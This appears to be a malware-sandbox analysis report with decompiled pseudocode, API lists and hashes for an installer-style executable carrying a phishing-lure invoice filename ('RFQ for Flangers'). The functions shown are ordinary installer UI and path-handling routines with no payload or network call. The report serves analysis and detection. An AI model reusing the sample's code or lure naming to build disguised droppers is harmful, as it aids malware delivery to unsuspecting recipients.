											_t300 = _t289 ^ 0x00000080;
											if(_t300 >= 0) {
												_t298 = _t300 & 0xfffffffe;
											} else {
												_t298 = _t300 | 0x00000001;
											}
										}
										 *_t310 = _t298;
										E0040117D(_t240);
										_t289 = 1;
										_a8 = 0x40f;
										_a12 = 1;
										_a16 =  !( *0x423e98) >> 0x00000008 & 1;
									}
								}
								goto L41;
							}
							_t289 = _a16;
							if( *((intOrPtr*)(_a16 + 8)) != 0xfffffffe) {
								goto L41;
							}
							goto L33;
						} else {
							goto L48;
						}
					} else {
						L48:
						if(_a8 != 0x111) {
							L56:
							if(_a8 == 0x200) {
								SendMessageA(_v8, 0x200, _t315, _t315);
							}
							if(_a8 == 0x40b) {
								_t220 =  *0x420454;
								if(_t220 != _t315) {
									ImageList_Destroy(_t220);
								}
								_t221 =  *0x42046c;
								if(_t221 != _t315) {
									GlobalFree(_t221);
								}
								 *0x420454 = _t315;
								 *0x42046c = _t315;
								 *0x423ee0 = _t315;
							}
							if(_a8 != 0x40f) {
								L86:
								if(_a8 == 0x420 && ( *0x423e99 & 0x00000001) != 0) {
									_t316 = (0 | _a16 == 0x00000020) << 3;
									ShowWindow(_v8, _t316);
									ShowWindow(GetDlgItem(_a4, 0x3fe), _t316);
								}
								goto L89;
							} else {
								E004011EF(_t289, _t315, _t315);
								if(_a12 != _t315) {
									E0040140B(8);
								}
								if(_a16 == _t315) {
									L73:
									E004011EF(_t289, _t315, _t315);
									_v32 =  *0x42046c;
									_t196 =  *0x423ea8;
									_v60 = 0xf030;
									_v16 = _t315;
									if( *0x423eac <= _t315) {
										L84:
										InvalidateRect(_v8, _t315, 1);
										if( *((intOrPtr*)( *0x42365c + 0x10)) != _t315) {
											E00404568(0x3ff, 0xfffffffb, E0040461D(5));
										}
										goto L86;
									}
									_t281 = _t196 + 8;
									do {
										_t202 =  *((intOrPtr*)(_v32 + _v16 * 4));
										if(_t202 != _t315) {
											_t291 =  *_t281;
											_v68 = _t202;
											_v72 = 8;
											if((_t291 & 0x00000001) != 0) {
												_v72 = 9;
												_v56 =  &(_t281[4]);
												_t281[0] = _t281[0] & 0x000000fe;
											}
											if((_t291 & 0x00000040) == 0) {
												_t206 = (_t291 & 0x00000001) + 1;
												if((_t291 & 0x00000010) != 0) {
													_t206 = _t206 + 3;
												}
											} else {
												_t206 = 3;
											}
											_v64 = (_t206 << 0x0000000b | _t291 & 0x00000008) + (_t206 << 0x0000000b | _t291 & 0x00000008) | _t291 & 0x00000020;
											SendMessageA(_v8, 0x1102, (_t291 >> 0x00000005 & 0x00000001) + 1, _v68);
											SendMessageA(_v8, 0x110d, _t315,  &_v72);
										}
										_v16 = _v16 + 1;
										_t281 =  &(_t281[0x106]);
									} while (_v16 <  *0x423eac);
									goto L84;
								} else {
									_t282 = E004012E2( *0x42046c);
									E00401299(_t282);
									_t217 = 0;
									_t289 = 0;
									if(_t282 <= _t315) {
										L72:
										SendMessageA(_v12, 0x14e, _t289, _t315);
										_a16 = _t282;
										_a8 = 0x420;
										goto L73;
									} else {
										goto L69;
									}
									do {
										L69:
										if( *((intOrPtr*)(_v20 + _t217 * 4)) != _t315) {
											_t289 = _t289 + 1;
										}
										_t217 = _t217 + 1;
									} while (_t217 < _t282);
									goto L72;
								}
							}
						}
						if(_a12 != 0x3f9 || _a12 >> 0x10 != 1) {
							goto L89;
						} else {
							_t227 = SendMessageA(_v12, 0x147, _t315, _t315);
							if(_t227 == 0xffffffff) {
								goto L89;
							}
							_t283 = SendMessageA(_v12, 0x150, _t227, _t315);
							if(_t283 == 0xffffffff ||  *((intOrPtr*)(_v20 + _t283 * 4)) == _t315) {
								_t283 = 0x20;
							}
							E00401299(_t283);
							SendMessageA(_a4, 0x420, _t315, _t283);
							_a12 = 1;
							_a16 = _t315;
							_a8 = 0x40f;
							goto L56;
						}
					}
				} else {
					 *0x423ee0 = _a4;
					_t285 = 2;
					_v28 = 0;
					_v16 = _t285;
					 *0x42046c = GlobalAlloc(0x40,  *0x423eac << 2);
					_t250 = LoadBitmapA( *0x423e80, 0x6e);
					 *0x420460 =  *0x420460 | 0xffffffff;
					_v24 = _t250;
					 *0x420468 = SetWindowLongA(_v8, 0xfffffffc, E00404CCB);
					_t252 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x420454 = _t252;
					ImageList_AddMasked(_t252, _v24, 0xff00ff);
					SendMessageA(_v8, 0x1109, _t285,  *0x420454);
					if(SendMessageA(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageA(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_v24);
					_t286 = 0;
					do {
						_t258 =  *((intOrPtr*)(_v20 + _t286 * 4));
						if( *((intOrPtr*)(_v20 + _t286 * 4)) != _t315) {
							if(_t286 != 0x20) {
								_v16 = _t315;
							}
							SendMessageA(_v12, 0x151, SendMessageA(_v12, 0x143, _t315, E004059FF(_t286, _t315, _t320, _t315, _t258)), _t286);
						}
						_t286 = _t286 + 1;
					} while (_t286 < 0x21);
					_t317 = _a16;
					_t287 = _v16;
					_push( *((intOrPtr*)(_t317 + 0x30 + _t287 * 4)));
					_push(0x15);
					E00403D8F(_a4);
					_push( *((intOrPtr*)(_t317 + 0x34 + _t287 * 4)));
					_push(0x16);
					E00403D8F(_a4);
					_t318 = 0;
					_t288 = 0;
					if( *0x423eac <= 0) {
						L19:
						SetWindowLongA(_v8, 0xfffffff0, GetWindowLongA(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t311 = _v32 + 8;
						_v24 = _t311;
						do {
							_t268 = _t311 + 0x10;
							if( *_t268 != 0) {
								_v60 = _t268;
								_t269 =  *_t311;
								_t302 = 0x20;
								_v84 = _t288;
								_v80 = 0xffff0002;
								_v76 = 0xd;
								_v64 = _t302;
								_v40 = _t318;
								_v68 = _t269 & _t302;
								if((_t269 & 0x00000002) == 0) {
									if((_t269 & 0x00000004) == 0) {
										 *( *0x42046c + _t318 * 4) = SendMessageA(_v8, 0x1100, 0,  &_v84);
									} else {
										_t288 = SendMessageA(_v8, 0x110a, 3, _t288);
									}
								} else {
									_v76 = 0x4d;
									_v44 = 1;
									_t274 = SendMessageA(_v8, 0x1100, 0,  &_v84);
									_v28 = 1;
									 *( *0x42046c + _t318 * 4) = _t274;
									_t288 =  *( *0x42046c + _t318 * 4);
								}
							}
							_t318 = _t318 + 1;
							_t311 = _v24 + 0x418;
							_v24 = _t311;
						} while (_t318 <  *0x423eac);
						if(_v28 != 0) {
							L20:
							if(_v16 != 0) {
								E00403DC4(_v8);
								_t280 = _v32;
								_t315 = 0;
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E00403DC4(_v12);
								L89:
								return E00403DF6(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x004046e8
0x004046ee
0x004046f0
0x004046f6
0x004046fc
0x00404709
0x00404712
0x00404715
0x00404718
0x00404940
0x00404947
0x0040495b
0x00404949
0x0040494b
0x0040494e
0x0040494f
0x00404956
0x00404956
0x00404967
0x00404975
0x00404978
0x0040498e
0x00404a06
0x00404a09
0x00404a0b
0x00404a15
0x00404a23
0x00404a23
0x00404a25
0x00404a2f
0x00404a35
0x00404a56
0x00404a37
0x00404a44
0x00404a44
0x00404a35
0x00404a2f
0x00000000
0x00404a09
0x00404993
0x0040499e
0x004049a3
0x004049aa
0x004049b1
0x004049bb
0x004049bb
0x004049bf
0x004049c4
0x004049c9
0x004049df
0x004049cb
0x004049cb
0x004049d3
0x004049da
0x004049d5
0x004049d5
0x004049d5
0x004049d3
0x004049e3
0x004049e5
0x004049f3
0x004049f4
0x00404a00
0x00404a03
0x00404a03
0x004049c4
0x00000000
0x004049b1
0x00404995
0x0040499c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00404a59
0x00404a59
0x00404a60
0x00404ad4
0x00404adb
0x00404ae7
0x00404ae7
0x00404af0
0x00404af2
0x00404af9
0x00404afc
0x00404afc
0x00404b02
0x00404b09
0x00404b0c
0x00404b0c
0x00404b12
0x00404b18
0x00404b1e
0x00404b1e
0x00404b2b
0x00404c78
0x00404c7f
0x00404c9c
0x00404ca2
0x00404cb4
0x00404cb4
0x00000000
0x00404b31
0x00404b33
0x00404b3b
0x00404b3f
0x00404b3f
0x00404b47
0x00404b88
0x00404b8a
0x00404b9a
0x00404b9d
0x00404ba2
0x00404ba9
0x00404bac
0x00404c4e
0x00404c54
0x00404c62
0x00404c73
0x00404c73
0x00000000
0x00404c62
0x00404bb2
0x00404bb5
0x00404bbb
0x00404bc0
0x00404bc2
0x00404bc4
0x00404bca
0x00404bd1
0x00404bd6
0x00404bdd
0x00404be0
0x00404be0
0x00404be7
0x00404bf3
0x00404bf7
0x00404bf9
0x00404bf9
0x00404be9
0x00404beb
0x00404beb
0x00404c19
0x00404c25
0x00404c34
0x00404c34
0x00404c36
0x00404c39
0x00404c42
0x00000000
0x00404b49
0x00404b54
0x00404b57
0x00404b5c
0x00404b5e
0x00404b62
0x00404b72
0x00404b7c
0x00404b7e
0x00404b81
0x00000000
0x00000000
0x00000000
0x00000000
0x00404b64
0x00404b64
0x00404b6a
0x00404b6c
0x00404b6c
0x00404b6d
0x00404b6e
0x00000000
0x00404b64
0x00404b47
0x00404b2b
0x00404a68
0x00000000
0x00404a7e
0x00404a88
0x00404a8d
0x00000000
0x00000000
0x00404a9f
0x00404aa4
0x00404ab0
0x00404ab0
0x00404ab2
0x00404ac1
0x00404ac3
0x00404aca
0x00404acd
0x00000000
0x00404acd
0x00404a68
0x0040471e
0x00404723
0x0040472d
0x0040472e
0x00404737
0x00404742
0x0040474d
0x00404753
0x00404761
0x00404776
0x0040477b
0x00404786
0x0040478f
0x004047a4
0x004047b5
0x004047c2
0x004047c2
0x004047c7
0x004047cd
0x004047cf
0x004047d2
0x004047d7
0x004047dc
0x004047de
0x004047de
0x004047fe
0x004047fe
0x00404800
0x00404801
0x00404806
0x00404809
0x0040480c
0x00404810
0x00404815
0x0040481a
0x0040481e
0x00404823
0x00404828
0x0040482a
0x00404832
0x004048fc
0x0040490f
0x00000000
0x00404838
0x0040483b
0x0040483e
0x00404841
0x00404841
0x00404847
0x0040484d
0x00404850
0x00404856
0x00404857
0x0040485c
0x00404865
0x0040486c
0x0040486f
0x00404872
0x00404875
0x004048b1
0x004048da
0x004048b3
0x004048c0
0x004048c0
0x00404877
0x0040487a
0x00404889
0x00404893
0x0040489b
0x004048a2
0x004048aa
0x004048aa
0x00404875
0x004048e0
0x004048e1
0x004048ed
0x004048ed
0x004048fa
0x00404915
0x00404919
0x00404936
0x0040493b
0x0040493e
0x00000000
0x0040491b
0x00404920
0x00404929
0x00404cb6
0x00404cc8
0x00404cc8
0x00404919
0x00000000
0x004048fa
0x00404832

APIs

GetDlgItem.USER32 ref: 004046E1
GetDlgItem.USER32 ref: 004046EE
GlobalAlloc.KERNEL32(00000040,?), ref: 0040473A
LoadBitmapA.USER32 ref: 0040474D
SetWindowLongA.USER32 ref: 00404767
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040477B
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 0040478F
SendMessageA.USER32 ref: 004047A4
SendMessageA.USER32 ref: 004047B0
SendMessageA.USER32 ref: 004047C2
DeleteObject.GDI32(?), ref: 004047C7
SendMessageA.USER32 ref: 004047F2
SendMessageA.USER32 ref: 004047FE
SendMessageA.USER32 ref: 00404893
SendMessageA.USER32 ref: 004048BE
SendMessageA.USER32 ref: 004048D2
GetWindowLongA.USER32 ref: 00404901
SetWindowLongA.USER32 ref: 0040490F
ShowWindow.USER32(?,00000005), ref: 00404920
SendMessageA.USER32 ref: 00404A23
SendMessageA.USER32 ref: 00404A88
SendMessageA.USER32 ref: 00404A9D
SendMessageA.USER32 ref: 00404AC1
SendMessageA.USER32 ref: 00404AE7
ImageList_Destroy.COMCTL32(?), ref: 00404AFC
GlobalFree.KERNEL32 ref: 00404B0C
SendMessageA.USER32 ref: 00404B7C
SendMessageA.USER32 ref: 00404C25
SendMessageA.USER32 ref: 00404C34
InvalidateRect.USER32(?,00000000,00000001), ref: 00404C54
ShowWindow.USER32(?,00000000), ref: 00404CA2
GetDlgItem.USER32 ref: 00404CAD
ShowWindow.USER32(00000000), ref: 00404CB4

Strings

N, xrefs: 0040495E
, xrefs: 00404C8C
M, xrefs: 0040487A

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 2218f254bd768403f12b45b221eec84538c1d5bde26f6f708cdc4201c9d318c0
Instruction ID: 1ebc4e1f5dd1db854d7f91ec63dfd1d34711f9484ded547680f267f962745bc2
Opcode Fuzzy Hash: 2218f254bd768403f12b45b221eec84538c1d5bde26f6f708cdc4201c9d318c0
Instruction Fuzzy Hash: 0802ADB0A00208EFDB20DF65DC45AAE7BB5FB84315F10817AF610BA2E1D7799A41CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004041CD, Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 266
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004041CD(struct HWND__* _a4, signed int _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				struct HWND__* _v12;
				long _v16;
				long _v20;
				char _v24;
				long _v28;
				char _v32;
				intOrPtr _v36;
				long _v40;
				signed int _v44;
				CHAR* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				CHAR* _v68;
				void _v72;
				char _v76;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t81;
				long _t86;
				signed char* _t88;
				void* _t94;
				signed int _t95;
				signed short _t113;
				signed int _t117;
				char* _t122;
				intOrPtr* _t138;
				signed int* _t145;
				signed int _t148;
				signed int _t153;
				struct HWND__* _t159;
				CHAR* _t162;
				int _t163;

				_t81 =  *0x41fc48;
				_v36 = _t81;
				_t162 = ( *(_t81 + 0x3c) << 0xa) + 0x424000;
				_v8 =  *((intOrPtr*)(_t81 + 0x38));
				if(_a8 == 0x40b) {
					E00405282(0x3fb, _t162);
					E00405C3F(_t162);
				}
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405282(0x3fb, _t162);
							if(E004055B1(_t180, _t162) == 0) {
								_v8 = 1;
							}
							E004059DD(0x41f440, _t162);
							_t145 = 0;
							_t86 = E00405CFF(0);
							_v16 = _t86;
							if(_t86 == 0) {
								L31:
								E004059DD(0x41f440, _t162);
								_t88 = E00405564(0x41f440);
								if(_t88 != _t145) {
									 *_t88 =  *_t88 & 0x00000000;
								}
								if(GetDiskFreeSpaceA(0x41f440,  &_v20,  &_v28,  &_v16,  &_v40) == 0) {
									_t153 = _a8;
									goto L37;
								} else {
									_t163 = 0x400;
									_t153 = MulDiv(_v20 * _v28, _v16, 0x400);
									_v12 = 1;
									goto L38;
								}
							} else {
								if(0 == 0x41f440) {
									L30:
									_t145 = 0;
									goto L31;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t113 = _v16(0x41f440,  &_v44,  &_v24,  &_v32);
									if(_t113 != 0) {
										break;
									}
									if(_t145 != 0) {
										 *_t145 =  *_t145 & _t113;
									}
									_t145 = E00405517(0x41f440) - 1;
									 *_t145 = 0x5c;
									if(_t145 != 0x41f440) {
										continue;
									} else {
										goto L30;
									}
								}
								_t153 = (_v40 << 0x00000020 | _v44) >> 0xa;
								_v12 = 1;
								_t145 = 0;
								L37:
								_t163 = 0x400;
								L38:
								_t94 = E0040461D(5);
								if(_v12 != _t145 && _t153 < _t94) {
									_v8 = 2;
								}
								if( *((intOrPtr*)( *0x42365c + 0x10)) != _t145) {
									E00404568(0x3ff, 0xfffffffb, _t94);
									if(_v12 == _t145) {
										SetDlgItemTextA(_a4, _t163, 0x41f430);
									} else {
										E00404568(_t163, 0xfffffffc, _t153);
									}
								}
								_t95 = _v8;
								 *0x423f24 = _t95;
								if(_t95 == _t145) {
									_v8 = E0040140B(7);
								}
								if(( *(_v36 + 0x14) & _t163) != 0) {
									_v8 = _t145;
								}
								E00403DB1(0 | _v8 == _t145);
								if(_v8 == _t145 &&  *0x420464 == _t145) {
									E00404162();
								}
								 *0x420464 = _t145;
								goto L53;
							}
						}
						_t180 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t117 = _a12 & 0x0000ffff;
					if(_t117 != 0x3fb) {
						L12:
						if(_t117 == 0x3e9) {
							_t148 = 7;
							memset( &_v72, 0, _t148 << 2);
							_v76 = _a4;
							_v68 = 0x420478;
							_v56 = E00404502;
							_v52 = _t162;
							_v64 = E004059FF(0x3fb, 0x420478, _t162, 0x41f848, _v8);
							_t122 =  &_v76;
							_v60 = 0x41;
							__imp__SHBrowseForFolderA(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E004054D0(_t162);
								_t125 =  *((intOrPtr*)( *0x423e90 + 0x11c));
								if( *((intOrPtr*)( *0x423e90 + 0x11c)) != 0 && _t162 == "C:\\Users\\jones\\AppData\\Local\\Temp") {
									E004059FF(0x3fb, 0x420478, _t162, 0, _t125);
									if(lstrcmpiA(0x422e20, 0x420478) != 0) {
										lstrcatA(_t162, 0x422e20);
									}
								}
								 *0x420464 =  &(( *0x420464)[0]);
								SetDlgItemTextA(_a4, 0x3fb, _t162);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t159 = _a4;
					_v12 = GetDlgItem(_t159, 0x3fb);
					if(E0040553D(_t162) != 0 && E00405564(_t162) == 0) {
						E004054D0(_t162);
					}
					 *0x423658 = _t159;
					SetWindowTextA(_v12, _t162);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00403D8F(_t159);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00403D8F(_t159);
					E00403DC4(_v12);
					_t138 = E00405CFF(7);
					if(_t138 == 0) {
						L53:
						return E00403DF6(_a8, _a12, _a16);
					}
					 *_t138(_v12, 1);
					goto L8;
				}
			}

0x004041d3
0x004041da
0x004041e6
0x004041f4
0x004041fc
0x00404200
0x00404206
0x00404206
0x00404212
0x00404286
0x0040428d
0x00404362
0x00404369
0x00404378
0x00404378
0x0040437c
0x00404382
0x0040438f
0x00404391
0x00404391
0x0040439f
0x004043a4
0x004043a7
0x004043ae
0x004043b1
0x004043e8
0x004043ea
0x004043f0
0x004043f7
0x004043f9
0x004043f9
0x00404415
0x00404451
0x00000000
0x00404417
0x0040441a
0x0040442e
0x00404430
0x00000000
0x00404430
0x004043b3
0x004043b7
0x004043e6
0x004043e6
0x00000000
0x00000000
0x00000000
0x00000000
0x004043b9
0x004043b9
0x004043c6
0x004043cb
0x00000000
0x00000000
0x004043cf
0x004043d1
0x004043d1
0x004043dc
0x004043df
0x004043e4
0x00000000
0x00000000
0x00000000
0x00000000
0x004043e4
0x0040443f
0x00404446
0x0040444d
0x00404454
0x00404454
0x00404459
0x0040445b
0x00404463
0x00404469
0x00404469
0x00404479
0x00404483
0x0040448b
0x004044a1
0x0040448d
0x00404491
0x00404491
0x0040448b
0x004044a6
0x004044ab
0x004044b0
0x004044b9
0x004044b9
0x004044c2
0x004044c4
0x004044c4
0x004044d0
0x004044d8
0x004044e2
0x004044e2
0x004044e7
0x00000000
0x004044e7
0x004043b1
0x0040436b
0x00404372
0x00000000
0x00000000
0x00000000
0x00404372
0x00404293
0x00404299
0x004042b3
0x004042b8
0x004042c2
0x004042c9
0x004042d8
0x004042db
0x004042de
0x004042e5
0x004042ed
0x004042f0
0x004042f4
0x004042fb
0x00404303
0x0040435b
0x00404305
0x00404306
0x0040430d
0x00404317
0x0040431f
0x0040432c
0x00404340
0x00404344
0x00404344
0x00404340
0x00404349
0x00404354
0x00404354
0x00404303
0x00000000
0x004042b8
0x004042a6
0x00000000
0x00000000
0x004042ac
0x00000000
0x00404214
0x00404214
0x00404220
0x0040422a
0x00404237
0x00404237
0x0040423d
0x00404246
0x0040424f
0x00404252
0x00404255
0x0040425d
0x00404260
0x00404263
0x0040426b
0x00404272
0x00404279
0x004044ed
0x004044ff
0x004044ff
0x00404284
0x00000000
0x00404284

APIs

GetDlgItem.USER32 ref: 00404219
SetWindowTextA.USER32(?,?), ref: 00404246
SHBrowseForFolderA.SHELL32(?,0041F848,?), ref: 004042FB
CoTaskMemFree.OLE32(00000000), ref: 00404306
lstrcmpiA.KERNEL32(Call,00420478,00000000,?,?), ref: 00404338
lstrcatA.KERNEL32(?,Call), ref: 00404344
SetDlgItemTextA.USER32 ref: 00404354

Part of subcall function 00405282: GetDlgItemTextA.USER32 ref: 00405295

Part of subcall function 00405C3F: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
Part of subcall function 00405C3F: CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
Part of subcall function 00405C3F: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
Part of subcall function 00405C3F: CharPrevA.USER32(?,?,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

GetDiskFreeSpaceA.KERNEL32(0041F440,?,?,0000040F,?,0041F440,0041F440,?,00000000,0041F440,?,?,000003FB,?), ref: 0040440D
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404428
SetDlgItemTextA.USER32 ref: 004044A1

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00404321
A, xrefs: 004042F4
Call, xrefs: 00404332, 00404337, 00404342

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Local\Temp$Call
API String ID: 2246997448-3265145871
Opcode ID: 6e673fc6d151b24e91dad944200417fa3a5a6dedc4a92dfa1b187ab04de59240
Instruction ID: b374e158efdd7287bf49babe660ec8015a33fdd664c905072b33ae798ddb7db4
Opcode Fuzzy Hash: 6e673fc6d151b24e91dad944200417fa3a5a6dedc4a92dfa1b187ab04de59240
Instruction Fuzzy Hash: 4C9175B1A00219ABDF11AFA1CC84AAF7AB8EF44354F10407BFA04B62D1D77C9A41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 004059FF, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 197
stringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004059FF(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				struct _ITEMIDLIST* _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed char _v28;
				signed int _t36;
				CHAR* _t37;
				signed int _t39;
				int _t40;
				char _t50;
				char _t51;
				char _t53;
				char _t55;
				void* _t63;
				signed int _t69;
				signed int _t74;
				signed int _t75;
				char _t83;
				void* _t85;
				CHAR* _t86;
				void* _t88;
				signed int _t95;
				signed int _t97;
				void* _t98;

				_t88 = __esi;
				_t85 = __edi;
				_t63 = __ebx;
				_t36 = _a8;
				if(_t36 < 0) {
					_t36 =  *( *0x42365c - 4 + _t36 * 4);
				}
				_t74 =  *0x423eb8 + _t36;
				_t37 = 0x422e20;
				_push(_t63);
				_push(_t88);
				_push(_t85);
				_t86 = 0x422e20;
				if(_a4 - 0x422e20 < 0x800) {
					_t86 = _a4;
					_a4 = _a4 & 0x00000000;
				}
				while(1) {
					_t83 =  *_t74;
					if(_t83 == 0) {
						break;
					}
					__eflags = _t86 - _t37 - 0x400;
					if(_t86 - _t37 >= 0x400) {
						break;
					}
					_t74 = _t74 + 1;
					__eflags = _t83 - 0xfc;
					_a8 = _t74;
					if(__eflags <= 0) {
						if(__eflags != 0) {
							 *_t86 = _t83;
							_t86 =  &(_t86[1]);
							__eflags = _t86;
						} else {
							 *_t86 =  *_t74;
							_t86 =  &(_t86[1]);
							_t74 = _t74 + 1;
						}
						continue;
					}
					_t39 =  *(_t74 + 1);
					_t75 =  *_t74;
					_t95 = (_t39 & 0x0000007f) << 0x00000007 | _t75 & 0x0000007f;
					_a8 = _a8 + 2;
					_v28 = _t75 | 0x00000080;
					_t69 = _t75;
					_v24 = _t69;
					__eflags = _t83 - 0xfe;
					_v20 = _t39 | 0x00000080;
					_v16 = _t39;
					if(_t83 != 0xfe) {
						__eflags = _t83 - 0xfd;
						if(_t83 != 0xfd) {
							__eflags = _t83 - 0xff;
							if(_t83 == 0xff) {
								__eflags = (_t39 | 0xffffffff) - _t95;
								E004059FF(_t69, _t86, _t95, _t86, (_t39 | 0xffffffff) - _t95);
							}
							L41:
							_t40 = lstrlenA(_t86);
							_t74 = _a8;
							_t86 =  &(_t86[_t40]);
							_t37 = 0x422e20;
							continue;
						}
						__eflags = _t95 - 0x1d;
						if(_t95 != 0x1d) {
							__eflags = (_t95 << 0xa) + 0x424000;
							E004059DD(_t86, (_t95 << 0xa) + 0x424000);
						} else {
							E0040593B(_t86,  *0x423e88);
						}
						__eflags = _t95 + 0xffffffeb - 7;
						if(_t95 + 0xffffffeb < 7) {
							L32:
							E00405C3F(_t86);
						}
						goto L41;
					}
					_t97 = 2;
					_t50 = GetVersion();
					__eflags = _t50;
					if(_t50 >= 0) {
						L12:
						_v8 = 1;
						L13:
						__eflags =  *0x423f04;
						if( *0x423f04 != 0) {
							_t97 = 4;
						}
						__eflags = _t69;
						if(_t69 >= 0) {
							__eflags = _t69 - 0x25;
							if(_t69 != 0x25) {
								__eflags = _t69 - 0x24;
								if(_t69 == 0x24) {
									GetWindowsDirectoryA(_t86, 0x400);
									_t97 = 0;
								}
								while(1) {
									__eflags = _t97;
									if(_t97 == 0) {
										goto L29;
									}
									_t51 =  *0x423e84;
									_t97 = _t97 - 1;
									__eflags = _t51;
									if(_t51 == 0) {
										L25:
										_t53 = SHGetSpecialFolderLocation( *0x423e88,  *(_t98 + _t97 * 4 - 0x18),  &_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											L27:
											 *_t86 =  *_t86 & 0x00000000;
											__eflags =  *_t86;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v12, _t86);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											goto L29;
										}
										goto L27;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L25;
									}
									_t55 =  *_t51( *0x423e88,  *(_t98 + _t97 * 4 - 0x18), 0, 0, _t86);
									__eflags = _t55;
									if(_t55 == 0) {
										goto L29;
									}
									goto L25;
								}
								goto L29;
							}
							GetSystemDirectoryA(_t86, 0x400);
							goto L29;
						} else {
							_t72 = (_t69 & 0x0000003f) +  *0x423eb8;
							E004058C4(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t69 & 0x0000003f) +  *0x423eb8, _t86, _t69 & 0x00000040);
							__eflags =  *_t86;
							if( *_t86 != 0) {
								L30:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t86, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L32;
							}
							E004059FF(_t72, _t86, _t97, _t86, _v16);
							L29:
							__eflags =  *_t86;
							if( *_t86 == 0) {
								goto L32;
							}
							goto L30;
						}
					}
					__eflags = _t50 - 0x5a04;
					if(_t50 == 0x5a04) {
						goto L12;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L12;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L12;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L13;
					}
				}
				 *_t86 =  *_t86 & 0x00000000;
				if(_a4 == 0) {
					return _t37;
				}
				return E004059DD(_a4, _t37);
			}

0x004059ff
0x004059ff
0x004059ff
0x00405a05
0x00405a0a
0x00405a1b
0x00405a1b
0x00405a26
0x00405a28
